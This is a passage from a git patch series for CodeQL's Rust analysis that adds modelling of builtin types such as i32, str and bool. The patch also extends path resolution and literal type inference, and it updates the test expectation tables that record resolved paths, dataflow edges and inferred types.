main.rs:506:9:506:28 | struct MyStruct | +| main.rs:538:10:540:5 | Trait1::<...> | main.rs:528:5:533:5 | trait Trait1 | +| main.rs:539:7:539:10 | Self | main.rs:535:5:535:13 | struct S | +| main.rs:541:11:541:11 | S | main.rs:535:5:535:13 | struct S | +| main.rs:549:17:549:17 | S | main.rs:535:5:535:13 | struct S | +| main.rs:565:15:565:15 | T | main.rs:564:26:564:26 | T | +| main.rs:570:9:570:24 | GenericStruct::<...> | main.rs:563:5:566:5 | struct GenericStruct | +| main.rs:570:23:570:23 | T | main.rs:569:10:569:10 | T | +| main.rs:572:9:572:9 | T | main.rs:569:10:569:10 | T | +| main.rs:572:12:572:17 | TraitA | main.rs:555:5:557:5 | trait TraitA | +| main.rs:581:9:581:24 | GenericStruct::<...> | main.rs:563:5:566:5 | struct GenericStruct | +| main.rs:581:23:581:23 | T | main.rs:580:10:580:10 | T | +| main.rs:583:9:583:9 | T | main.rs:580:10:580:10 | T | +| main.rs:583:12:583:17 | TraitB | main.rs:559:5:561:5 | trait TraitB | +| main.rs:584:9:584:9 | T | main.rs:580:10:580:10 | T | +| main.rs:584:12:584:17 | TraitA | main.rs:555:5:557:5 | trait TraitA | +| main.rs:595:10:595:15 | TraitA | main.rs:555:5:557:5 | trait TraitA | +| main.rs:595:21:595:31 | Implementor | main.rs:592:5:592:23 | struct Implementor | +| main.rs:602:10:602:15 | TraitB | main.rs:559:5:561:5 | trait TraitB | +| main.rs:602:21:602:31 | Implementor | main.rs:592:5:592:23 | struct Implementor | +| main.rs:610:24:610:34 | Implementor | main.rs:592:5:592:23 | struct Implementor | +| main.rs:611:23:611:35 | GenericStruct | main.rs:563:5:566:5 | struct GenericStruct | +| main.rs:617:9:617:36 | GenericStruct::<...> | main.rs:563:5:566:5 | struct GenericStruct | +| main.rs:617:9:617:50 | ...::call_trait_a | main.rs:574:9:576:9 | fn call_trait_a | +| main.rs:617:25:617:35 | Implementor | main.rs:592:5:592:23 | struct Implementor | +| main.rs:620:9:620:36 | GenericStruct::<...> | main.rs:563:5:566:5 | struct GenericStruct | +| main.rs:620:9:620:47 | ...::call_both | main.rs:586:9:589:9 | fn call_both | +| main.rs:620:25:620:35 | Implementor | main.rs:592:5:592:23 | struct Implementor | +| main.rs:625:5:625:6 | my | main.rs:1:1:1:7 | mod my | +| main.rs:625:5:625:14 | ...::nested | my.rs:1:1:1:15 | mod nested | +| main.rs:625:5:625:23 | ...::nested1 | my/nested.rs:1:1:17:1 | mod nested1 | +| main.rs:625:5:625:32 | ...::nested2 | my/nested.rs:2:5:11:5 | mod nested2 | +| main.rs:625:5:625:35 | ...::f | my/nested.rs:3:9:5:9 | fn f | +| main.rs:626:5:626:6 | my | main.rs:1:1:1:7 | mod my | +| main.rs:626:5:626:9 | ...::f | my.rs:5:1:7:1 | fn f | +| main.rs:627:5:627:11 | nested2 | my2/mod.rs:1:1:1:16 | mod nested2 | +| main.rs:627:5:627:20 | ...::nested3 | my2/nested2.rs:1:1:11:1 | mod nested3 | +| main.rs:627:5:627:29 | ...::nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 | +| main.rs:627:5:627:32 | ...::f | my2/nested2.rs:3:9:5:9 | fn f | +| main.rs:628:5:628:5 | f | my2/nested2.rs:3:9:5:9 | fn f | +| main.rs:629:5:629:5 | g | my2/nested2.rs:7:9:9:9 | fn g | +| main.rs:630:5:630:9 | crate | main.rs:0:0:0:0 | Crate(main@0.0.1) | +| main.rs:630:5:630:12 | ...::h | main.rs:50:1:69:1 | fn h | +| main.rs:631:5:631:6 | m1 | main.rs:13:1:37:1 | mod m1 | +| main.rs:631:5:631:10 | ...::m2 | main.rs:18:5:36:5 | mod m2 | +| main.rs:631:5:631:13 | ...::g | main.rs:23:9:27:9 | fn g | +| main.rs:632:5:632:6 | m1 | main.rs:13:1:37:1 | mod m1 | +| main.rs:632:5:632:10 | ...::m2 | main.rs:18:5:36:5 | mod m2 | +| main.rs:632:5:632:14 | ...::m3 | main.rs:29:9:35:9 | mod m3 | +| main.rs:632:5:632:17 | ...::h | main.rs:30:27:34:13 | fn h | +| main.rs:633:5:633:6 | m4 | main.rs:39:1:46:1 | mod m4 | +| main.rs:633:5:633:9 | ...::i | main.rs:42:5:45:5 | fn i | +| main.rs:634:5:634:5 | h | main.rs:50:1:69:1 | fn h | +| main.rs:635:5:635:11 | f_alias | my2/nested2.rs:3:9:5:9 | fn f | +| main.rs:636:5:636:11 | g_alias | my2/nested2.rs:7:9:9:9 | fn g | +| main.rs:637:5:637:5 | j | main.rs:97:1:101:1 | fn j | +| main.rs:638:5:638:6 | m6 | main.rs:109:1:120:1 | mod m6 | +| main.rs:638:5:638:9 | ...::g | main.rs:114:5:119:5 | fn g | +| main.rs:639:5:639:6 | m7 | main.rs:122:1:141:1 | mod m7 | +| main.rs:639:5:639:9 | ...::f | main.rs:133:5:140:5 | fn f | +| main.rs:640:5:640:6 | m8 | main.rs:143:1:197:1 | mod m8 | +| main.rs:640:5:640:9 | ...::g | main.rs:181:5:196:5 | fn g | +| main.rs:641:5:641:6 | m9 | main.rs:199:1:207:1 | mod m9 | +| main.rs:641:5:641:9 | ...::f | main.rs:202:5:206:5 | fn f | +| main.rs:642:5:642:7 | m11 | main.rs:230:1:267:1 | mod m11 | +| main.rs:642:5:642:10 | ...::f | main.rs:235:5:238:5 | fn f | +| main.rs:643:5:643:7 | m15 | main.rs:298:1:352:1 | mod m15 | +| main.rs:643:5:643:10 | ...::f | main.rs:339:5:351:5 | fn f | +| main.rs:644:5:644:7 | m16 | main.rs:354:1:446:1 | mod m16 | +| main.rs:644:5:644:10 | ...::f | main.rs:421:5:445:5 | fn f | +| main.rs:645:5:645:7 | m17 | main.rs:448:1:478:1 | mod m17 | +| main.rs:645:5:645:10 | ...::f | main.rs:472:5:477:5 | fn f | +| main.rs:646:5:646:11 | nested6 | my2/nested2.rs:14:5:18:5 | mod nested6 | +| main.rs:646:5:646:14 | ...::f | my2/nested2.rs:15:9:17:9 | fn f | +| main.rs:647:5:647:11 | nested8 | my2/nested2.rs:22:5:26:5 | mod nested8 | +| main.rs:647:5:647:14 | ...::f | my2/nested2.rs:23:9:25:9 | fn f | +| main.rs:648:5:648:7 | my3 | my2/mod.rs:12:1:12:12 | mod my3 | +| main.rs:648:5:648:10 | ...::f | my2/my3/mod.rs:1:1:5:1 | fn f | +| main.rs:649:5:649:12 | nested_f | my/my4/my5/mod.rs:1:1:3:1 | fn f | +| main.rs:650:5:650:7 | m18 | main.rs:480:1:498:1 | mod m18 | +| main.rs:650:5:650:12 | ...::m19 | main.rs:485:5:497:5 | mod m19 | +| main.rs:650:5:650:17 | ...::m20 | main.rs:490:9:496:9 | mod m20 | +| main.rs:650:5:650:20 | ...::g | main.rs:491:13:495:13 | fn g | +| main.rs:651:5:651:7 | m23 | main.rs:527:1:552:1 | mod m23 | +| main.rs:651:5:651:10 | ...::f | main.rs:547:5:551:5 | fn f | +| main.rs:652:5:652:7 | m24 | main.rs:554:1:622:1 | mod m24 | +| main.rs:652:5:652:10 | ...::f | main.rs:608:5:621:5 | fn f | | my2/mod.rs:5:5:5:11 | nested2 | my2/mod.rs:1:1:1:16 | mod nested2 | | my2/mod.rs:5:5:5:20 | ...::nested3 | my2/nested2.rs:1:1:11:1 | mod nested3 | | my2/mod.rs:5:5:5:29 | ...::nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 | @@ -338,7 +338,7 @@ resolvePath | my2/my3/mod.rs:3:5:3:5 | g | my2/mod.rs:3:1:6:1 | fn g | | my2/my3/mod.rs:4:5:4:5 | h | main.rs:50:1:69:1 | fn h | | my2/my3/mod.rs:7:5:7:9 | super | my2/mod.rs:1:1:17:30 | SourceFile | -| my2/my3/mod.rs:7:5:7:16 | ...::super | main.rs:1:1:649:2 | SourceFile | +| my2/my3/mod.rs:7:5:7:16 | ...::super | main.rs:1:1:653:2 | SourceFile | | my2/my3/mod.rs:7:5:7:19 | ...::h | main.rs:50:1:69:1 | fn h | | my2/my3/mod.rs:8:5:8:9 | super | my2/mod.rs:1:1:17:30 | SourceFile | | my2/my3/mod.rs:8:5:8:12 | ...::g | my2/mod.rs:3:1:6:1 | fn g | From a02bf182c56fcc1027c3e8e9acce19f3a0846087 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Tue, 13 May 2025 21:22:38 +0200 Subject: [PATCH 128/535] Rust: Type inference and path resolution for builtins --- .../codeql/rust/frameworks/stdlib/Bultins.qll | 117 ++++++++++++++++++ .../codeql/rust/internal/PathResolution.qll | 17 +++ .../codeql/rust/internal/TypeInference.qll | 38 ++++++ .../PathResolutionConsistency.expected | 15 +++ .../dataflow/modeled/inline-flow.expected | 19 ++- .../library-tests/dataflow/modeled/main.rs | 2 +- .../library-tests/path-resolution/main.rs | 6 +- .../test/library-tests/path-resolution/my.rs | 6 +- .../path-resolution/path-resolution.expected | 6 + .../path-resolution/path-resolution.ql | 10 +- .../test/library-tests/type-inference/main.rs | 6 +- .../type-inference/type-inference.expected | 117 ++++++++++++++++++ .../type-inference/type-inference.ql | 15 ++- .../PathResolutionConsistency.expected | 9 ++ 14 files changed, 365 insertions(+), 18 deletions(-) create mode 100644 rust/ql/lib/codeql/rust/frameworks/stdlib/Bultins.qll create mode 100644 rust/ql/test/library-tests/dataflow/local/CONSISTENCY/PathResolutionConsistency.expected create mode 100644 rust/ql/test/library-tests/variables/CONSISTENCY/PathResolutionConsistency.expected diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/Bultins.qll b/rust/ql/lib/codeql/rust/frameworks/stdlib/Bultins.qll new file mode 100644 index 000000000000..0449d55205ae --- /dev/null +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/Bultins.qll @@ -0,0 +1,117 @@ +/** + * Provides classes for builtins. + */ + +private import rust + +/** The folder containing builtins. */ +class BuiltinsFolder extends Folder { + BuiltinsFolder() { + this.getBaseName() = "builtins" and + this.getParentContainer().getBaseName() = "tools" + } +} + +private class BuiltinsTypesFile extends File { + BuiltinsTypesFile() { + this.getBaseName() = "types.rs" and + this.getParentContainer() instanceof BuiltinsFolder + } +} + +/** + * A builtin type, such as `bool` and `i32`. + * + * Builtin types are represented as structs. + */ +class BuiltinType extends Struct { + BuiltinType() { this.getFile() instanceof BuiltinsTypesFile } + + /** Gets the name of this type. */ + string getName() { result = super.getName().getText() } +} + +/** The builtin `bool` type. */ +class Bool extends BuiltinType { + Bool() { this.getName() = "bool" } +} + +/** The builtin `char` type. */ +class Char extends BuiltinType { + Char() { this.getName() = "char" } +} + +/** The builtin `str` type. */ +class Str extends BuiltinType { + Str() { this.getName() = "str" } +} + +/** The builtin `i8` type. */ +class I8 extends BuiltinType { + I8() { this.getName() = "i8" } +} + +/** The builtin `i16` type. */ +class I16 extends BuiltinType { + I16() { this.getName() = "i16" } +} + +/** The builtin `i32` type. */ +class I32 extends BuiltinType { + I32() { this.getName() = "i32" } +} + +/** The builtin `i64` type. */ +class I64 extends BuiltinType { + I64() { this.getName() = "i64" } +} + +/** The builtin `i128` type. */ +class I128 extends BuiltinType { + I128() { this.getName() = "i128" } +} + +/** The builtin `u8` type. */ +class U8 extends BuiltinType { + U8() { this.getName() = "u8" } +} + +/** The builtin `u16` type. */ +class U16 extends BuiltinType { + U16() { this.getName() = "u16" } +} + +/** The builtin `u32` type. */ +class U32 extends BuiltinType { + U32() { this.getName() = "u32" } +} + +/** The builtin `u64` type. */ +class U64 extends BuiltinType { + U64() { this.getName() = "u64" } +} + +/** The builtin `u128` type. */ +class U128 extends BuiltinType { + U128() { this.getName() = "u128" } +} + +/** The builtin `usize` type. */ +class USize extends BuiltinType { + USize() { this.getName() = "usize" } +} + +/** The builtin `isize` type. */ +class ISize extends BuiltinType { + ISize() { this.getName() = "isize" } +} + +/** The builtin `f32` type. */ +class F32 extends BuiltinType { + F32() { this.getName() = "f32" } +} + +/** The builtin `f64` type. */ +class F64 extends BuiltinType { + F64() { this.getName() = "f64" } +} diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index d1878ce3daea..e3e51ee32719 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -180,6 +180,8 @@ abstract class ItemNode extends Locatable { or preludeEdge(this, name, result) and not declares(this, _, name) or + builtinEdge(this, name, result) + or name = "super" and if this instanceof Module or this instanceof SourceFile then result = this.getImmediateParentModule() @@ -1184,6 +1186,21 @@ private predicate preludeEdge(SourceFile f, string name, ItemNode i) { ) } +private import codeql.rust.frameworks.stdlib.Bultins as Builtins + +pragma[nomagic] +private predicate builtinEdge(ModuleLikeNode m, string name, ItemNode i) { + ( + m instanceof SourceFile + or + m = any(CrateItemNode c).getModuleNode() + ) and + exists(SourceFileItemNode builtins | + builtins.getFile().getParentContainer() instanceof Builtins::BuiltinsFolder and + i = builtins.getASuccessorRec(name) + ) +} + /** Provides predicates for debugging the path resolution implementation. */ private module Debug { private Locatable getRelevantLocatable() { diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index cb9450a84d77..36d97b5c3316 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -885,6 +885,41 @@ private Type inferTryExprType(TryExpr te, TypePath path) { ) } +private import codeql.rust.frameworks.stdlib.Bultins as Builtins + +pragma[nomagic] +StructType getBuiltinType(string name) { + result = TStruct(any(Builtins::BuiltinType t | name = t.getName())) +} + +pragma[nomagic] +private StructType inferLiteralType(LiteralExpr le) { + le instanceof CharLiteralExpr and + result = TStruct(any(Builtins::Char t)) + or + le instanceof StringLiteralExpr and + result = TStruct(any(Builtins::Str t)) + or + le = + any(IntegerLiteralExpr n | + not exists(n.getSuffix()) and + result = getBuiltinType("i32") + or + result = getBuiltinType(n.getSuffix()) + ) + or + le = + any(FloatLiteralExpr n | + not exists(n.getSuffix()) and + result = getBuiltinType("f32") + or + result = getBuiltinType(n.getSuffix()) + ) + or + le instanceof BooleanLiteralExpr and + result = TStruct(any(Builtins::Bool t)) +} + cached private module Cached { private import codeql.rust.internal.CachedStages @@ -1026,6 +1061,9 @@ private module Cached { result = inferRefExprType(n, path) or result = inferTryExprType(n, path) + or + result = inferLiteralType(n) and + path.isEmpty() } } diff --git a/rust/ql/test/library-tests/dataflow/local/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/library-tests/dataflow/local/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 000000000000..b9ee72e892bd --- /dev/null +++ b/rust/ql/test/library-tests/dataflow/local/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,15 @@ +multiplePathResolutions +| main.rs:532:10:532:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:532:10:532:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:532:10:532:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:532:10:532:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:532:10:532:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:532:10:532:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:532:10:532:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:538:10:538:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:538:10:538:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:538:10:538:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:538:10:538:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:538:10:538:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:538:10:538:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:538:10:538:18 | ...::from | file://:0:0:0:0 | fn from | diff --git a/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected b/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected index 1b8bc315c7a4..b7afe9dae35b 100644 --- a/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected +++ b/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected @@ -3,8 +3,9 @@ models | 2 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | | 3 | Summary: lang:core; ::zip; Argument[0].Field[crate::option::Option::Some(0)]; ReturnValue.Field[crate::option::Option::Some(0)].Field[1]; value | | 4 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | -| 5 | Summary: lang:core; crate::ptr::read; Argument[0].Reference; ReturnValue; value | -| 6 | Summary: lang:core; crate::ptr::write; Argument[1]; Argument[0].Reference; value | +| 5 | Summary: lang:core; ::clone; Argument[self].Reference; ReturnValue; value | +| 6 | Summary: lang:core; crate::ptr::read; Argument[0].Reference; ReturnValue; value | +| 7 | Summary: lang:core; crate::ptr::write; Argument[1]; Argument[0].Reference; value | edges | main.rs:12:9:12:9 | a [Some] | main.rs:13:10:13:19 | a.unwrap() | provenance | MaD:2 | | main.rs:12:9:12:9 | a [Some] | main.rs:14:13:14:13 | a [Some] | provenance | | @@ -22,7 +23,12 @@ edges | main.rs:21:13:21:13 | a [Ok] | main.rs:21:13:21:21 | a.clone() [Ok] | provenance | generated | | main.rs:21:13:21:21 | a.clone() [Ok] | main.rs:21:9:21:9 | b [Ok] | provenance | | | main.rs:26:9:26:9 | a | main.rs:27:10:27:10 | a | provenance | | +| main.rs:26:9:26:9 | a | main.rs:28:13:28:13 | a | provenance | | | main.rs:26:13:26:22 | source(...) | main.rs:26:9:26:9 | a | provenance | | +| main.rs:28:9:28:9 | b | main.rs:29:10:29:10 | b | provenance | | +| main.rs:28:13:28:13 | a | main.rs:28:13:28:21 | a.clone() | provenance | MaD:5 | +| main.rs:28:13:28:13 | a | main.rs:28:13:28:21 | a.clone() | provenance | generated | +| main.rs:28:13:28:21 | a.clone() | main.rs:28:9:28:9 | b | provenance | | | main.rs:41:13:41:13 | w [Wrapper] | main.rs:42:15:42:15 | w [Wrapper] | provenance | | | main.rs:41:17:41:41 | Wrapper {...} [Wrapper] | main.rs:41:13:41:13 | w [Wrapper] | provenance | | | main.rs:41:30:41:39 | source(...) | main.rs:41:17:41:41 | Wrapper {...} [Wrapper] | provenance | | @@ -47,8 +53,8 @@ edges | main.rs:61:18:61:23 | TuplePat [tuple.1] | main.rs:61:22:61:22 | m | provenance | | | main.rs:61:22:61:22 | m | main.rs:63:22:63:22 | m | provenance | | | main.rs:84:29:84:29 | [post] y [&ref] | main.rs:85:33:85:33 | y [&ref] | provenance | | -| main.rs:84:32:84:41 | source(...) | main.rs:84:29:84:29 | [post] y [&ref] | provenance | MaD:6 | -| main.rs:85:33:85:33 | y [&ref] | main.rs:85:18:85:34 | ...::read(...) | provenance | MaD:5 | +| main.rs:84:32:84:41 | source(...) | main.rs:84:29:84:29 | [post] y [&ref] | provenance | MaD:7 | +| main.rs:85:33:85:33 | y [&ref] | main.rs:85:18:85:34 | ...::read(...) | provenance | MaD:6 | nodes | main.rs:12:9:12:9 | a [Some] | semmle.label | a [Some] | | main.rs:12:13:12:28 | Some(...) [Some] | semmle.label | Some(...) [Some] | @@ -69,6 +75,10 @@ nodes | main.rs:26:9:26:9 | a | semmle.label | a | | main.rs:26:13:26:22 | source(...) | semmle.label | source(...) | | main.rs:27:10:27:10 | a | semmle.label | a | +| main.rs:28:9:28:9 | b | semmle.label | b | +| main.rs:28:13:28:13 | a | semmle.label | a | +| main.rs:28:13:28:21 | a.clone() | semmle.label | a.clone() | +| main.rs:29:10:29:10 | b | semmle.label | b | | main.rs:41:13:41:13 | w [Wrapper] | semmle.label | w [Wrapper] | | main.rs:41:17:41:41 | Wrapper {...} [Wrapper] | semmle.label | Wrapper {...} [Wrapper] | | main.rs:41:30:41:39 | source(...) | semmle.label | source(...) | @@ -106,6 +116,7 @@ testFailures | main.rs:20:10:20:19 | a.unwrap() | main.rs:19:34:19:43 | source(...) | main.rs:20:10:20:19 | a.unwrap() | $@ | main.rs:19:34:19:43 | source(...) | source(...) | | main.rs:22:10:22:19 | b.unwrap() | main.rs:19:34:19:43 | source(...) | main.rs:22:10:22:19 | b.unwrap() | $@ | main.rs:19:34:19:43 | source(...) | source(...) | | main.rs:27:10:27:10 | a | main.rs:26:13:26:22 | source(...) | main.rs:27:10:27:10 | a | $@ | main.rs:26:13:26:22 | source(...) | source(...) | +| main.rs:29:10:29:10 | b | main.rs:26:13:26:22 | source(...) | main.rs:29:10:29:10 | b | $@ | main.rs:26:13:26:22 | source(...) | source(...) | | main.rs:43:38:43:38 | n | main.rs:41:30:41:39 | source(...) | main.rs:43:38:43:38 | n | $@ | main.rs:41:30:41:39 | source(...) | source(...) | | main.rs:47:38:47:38 | n | main.rs:41:30:41:39 | source(...) | main.rs:47:38:47:38 | n | $@ | main.rs:41:30:41:39 | source(...) | source(...) | | main.rs:63:22:63:22 | m | main.rs:58:22:58:31 | source(...) | main.rs:63:22:63:22 | m | $@ | main.rs:58:22:58:31 | source(...) | source(...) | diff --git a/rust/ql/test/library-tests/dataflow/modeled/main.rs b/rust/ql/test/library-tests/dataflow/modeled/main.rs index 3ce3e0ecae04..cb955ce32bde 100644 --- a/rust/ql/test/library-tests/dataflow/modeled/main.rs +++ b/rust/ql/test/library-tests/dataflow/modeled/main.rs @@ -26,7 +26,7 @@ fn i64_clone() { let a = source(12); sink(a); // $ hasValueFlow=12 let b = a.clone(); - sink(b); // $ MISSING: hasValueFlow=12 - lack of builtins means that we cannot resolve clone call above, and hence not insert implicit borrow + sink(b); // $ hasValueFlow=12 } mod my_clone { diff --git a/rust/ql/test/library-tests/path-resolution/main.rs b/rust/ql/test/library-tests/path-resolution/main.rs index be467ac47450..1c239d3d4ecd 100644 --- a/rust/ql/test/library-tests/path-resolution/main.rs +++ b/rust/ql/test/library-tests/path-resolution/main.rs @@ -75,7 +75,7 @@ fn i() { { struct Foo { - x: i32, // $ MISSING: item=i32 + x: i32, // $ item=i32 } // I30 let _ = Foo { x: 0 }; // $ item=I30 @@ -122,10 +122,10 @@ mod m6 { mod m7 { pub enum MyEnum { A( - i32, // $ MISSING: item=i32 + i32, // $ item=i32 ), // I42 B { - x: i32, // $ MISSING: item=i32 + x: i32, // $ item=i32 }, // I43 C, // I44 } // I41 diff --git a/rust/ql/test/library-tests/path-resolution/my.rs b/rust/ql/test/library-tests/path-resolution/my.rs index 8daf41351787..29856d613c22 100644 --- a/rust/ql/test/library-tests/path-resolution/my.rs +++ b/rust/ql/test/library-tests/path-resolution/my.rs @@ -25,9 +25,9 @@ type Result< >; // my::Result fn int_div( - x: i32, // $ MISSING: item=i32 - y: i32, // $ MISSING: item=i32 -) -> Result // $ item=my::Result $ MISSING: item=i32 + x: i32, // $ item=i32 + y: i32, // $ item=i32 +) -> Result // $ item=my::Result $ item=i32 { if y == 0 { return Err("Div by zero".to_string()); diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.expected b/rust/ql/test/library-tests/path-resolution/path-resolution.expected index 2fa13563dc13..264e8757d511 100644 --- a/rust/ql/test/library-tests/path-resolution/path-resolution.expected +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.expected @@ -77,6 +77,7 @@ resolvePath | main.rs:68:5:68:8 | self | main.rs:1:1:653:2 | SourceFile | | main.rs:68:5:68:11 | ...::i | main.rs:71:1:83:1 | fn i | | main.rs:74:13:74:15 | Foo | main.rs:48:1:48:13 | struct Foo | +| main.rs:78:16:78:18 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | | main.rs:81:17:81:19 | Foo | main.rs:77:9:79:9 | struct Foo | | main.rs:85:5:85:7 | my2 | main.rs:7:1:7:8 | mod my2 | | main.rs:85:5:85:16 | ...::nested2 | my2/mod.rs:1:1:1:16 | mod nested2 | @@ -92,6 +93,8 @@ resolvePath | main.rs:117:13:117:21 | ...::m5 | main.rs:103:1:107:1 | mod m5 | | main.rs:118:9:118:9 | f | main.rs:104:5:106:5 | fn f | | main.rs:118:9:118:9 | f | main.rs:110:5:112:5 | fn f | +| main.rs:125:13:125:15 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | +| main.rs:128:16:128:18 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | | main.rs:134:19:134:24 | MyEnum | main.rs:123:5:131:5 | enum MyEnum | | main.rs:137:17:137:22 | MyEnum | main.rs:123:5:131:5 | enum MyEnum | | main.rs:137:17:137:25 | ...::A | main.rs:124:9:126:9 | A | @@ -352,7 +355,10 @@ resolvePath | my.rs:22:5:22:17 | ...::result | file://:0:0:0:0 | mod result | | my.rs:22:5:25:1 | ...::Result::<...> | file://:0:0:0:0 | enum Result | | my.rs:23:5:23:5 | T | my.rs:21:5:21:5 | T | +| my.rs:28:8:28:10 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | +| my.rs:29:8:29:10 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | | my.rs:30:6:30:16 | Result::<...> | my.rs:20:1:25:2 | type Result<...> | +| my.rs:30:13:30:15 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | | my.rs:33:16:33:18 | Err | file://:0:0:0:0 | Err | | my.rs:35:5:35:6 | Ok | file://:0:0:0:0 | Ok | | my/nested.rs:9:13:9:13 | f | my/nested.rs:3:9:5:9 | fn f | diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.ql b/rust/ql/test/library-tests/path-resolution/path-resolution.ql index bd522597a2e4..88ea10c0eba0 100644 --- a/rust/ql/test/library-tests/path-resolution/path-resolution.ql +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.ql @@ -5,13 +5,17 @@ import TestUtils query predicate mod(Module m) { toBeTested(m) } -class ItemNodeLoc extends Locatable instanceof ItemNode { +final private class ItemNodeFinal = ItemNode; + +class ItemNodeLoc extends ItemNodeFinal { predicate hasLocationInfo( string filepath, int startline, int startcolumn, int endline, int endcolumn ) { exists(string file | - super.getLocation().hasLocationInfo(file, startline, startcolumn, endline, endcolumn) and - filepath = file.regexpReplaceAll("^/.*/.rustup/toolchains/[^/]+/", "/RUSTUP_HOME/toolchain/") + this.getLocation().hasLocationInfo(file, startline, startcolumn, endline, endcolumn) and + filepath = + file.regexpReplaceAll("^/.*/.rustup/toolchains/[^/]+/", "/RUSTUP_HOME/toolchain/") + .regexpReplaceAll("^/.*/tools/builtins/", "/BUILTINS/") ) } } diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index 1f49ba47cc0a..69004d7291d5 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -980,10 +980,10 @@ mod try_expressions { mod builtins { pub fn f() { - let x: i32 = 1; // $ MISSING: type=x:i32 - let y = 2; // $ MISSING: type=y:i32 + let x: i32 = 1; // $ type=x:i32 + let y = 2; // $ type=y:i32 let z = x + y; // $ MISSING: type=z:i32 - let z = x.abs(); // $ MISSING: method=abs $ MISSING: type=z:i32 + let z = x.abs(); // $ method=abs $ type=z:i32 'c'; "Hello"; 123.0f64; diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index f5a7893d414e..45dccfb18575 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -6,6 +6,7 @@ inferType | main.rs:26:13:26:13 | x | | main.rs:5:5:8:5 | MyThing | | main.rs:26:17:26:32 | MyThing {...} | | main.rs:5:5:8:5 | MyThing | | main.rs:26:30:26:30 | S | | main.rs:2:5:3:13 | S | +| main.rs:27:18:27:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:27:26:27:26 | x | | main.rs:5:5:8:5 | MyThing | | main.rs:27:26:27:28 | x.a | | main.rs:2:5:3:13 | S | | main.rs:32:13:32:13 | x | | main.rs:16:5:19:5 | GenericThing | @@ -13,6 +14,7 @@ inferType | main.rs:32:17:32:42 | GenericThing::<...> {...} | | main.rs:16:5:19:5 | GenericThing | | main.rs:32:17:32:42 | GenericThing::<...> {...} | A | main.rs:2:5:3:13 | S | | main.rs:32:40:32:40 | S | | main.rs:2:5:3:13 | S | +| main.rs:33:18:33:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:33:26:33:26 | x | | main.rs:16:5:19:5 | GenericThing | | main.rs:33:26:33:26 | x | A | main.rs:2:5:3:13 | S | | main.rs:33:26:33:28 | x.a | | main.rs:2:5:3:13 | S | @@ -21,6 +23,7 @@ inferType | main.rs:36:17:36:37 | GenericThing {...} | | main.rs:16:5:19:5 | GenericThing | | main.rs:36:17:36:37 | GenericThing {...} | A | main.rs:2:5:3:13 | S | | main.rs:36:35:36:35 | S | | main.rs:2:5:3:13 | S | +| main.rs:37:18:37:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:37:26:37:26 | x | | main.rs:16:5:19:5 | GenericThing | | main.rs:37:26:37:26 | x | A | main.rs:2:5:3:13 | S | | main.rs:37:26:37:28 | x.a | | main.rs:2:5:3:13 | S | @@ -28,6 +31,7 @@ inferType | main.rs:41:17:43:9 | OptionS {...} | | main.rs:21:5:23:5 | OptionS | | main.rs:42:16:42:33 | ...::MyNone(...) | | main.rs:10:5:14:5 | MyOption | | main.rs:42:16:42:33 | ...::MyNone(...) | T | main.rs:2:5:3:13 | S | +| main.rs:44:18:44:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:44:26:44:26 | x | | 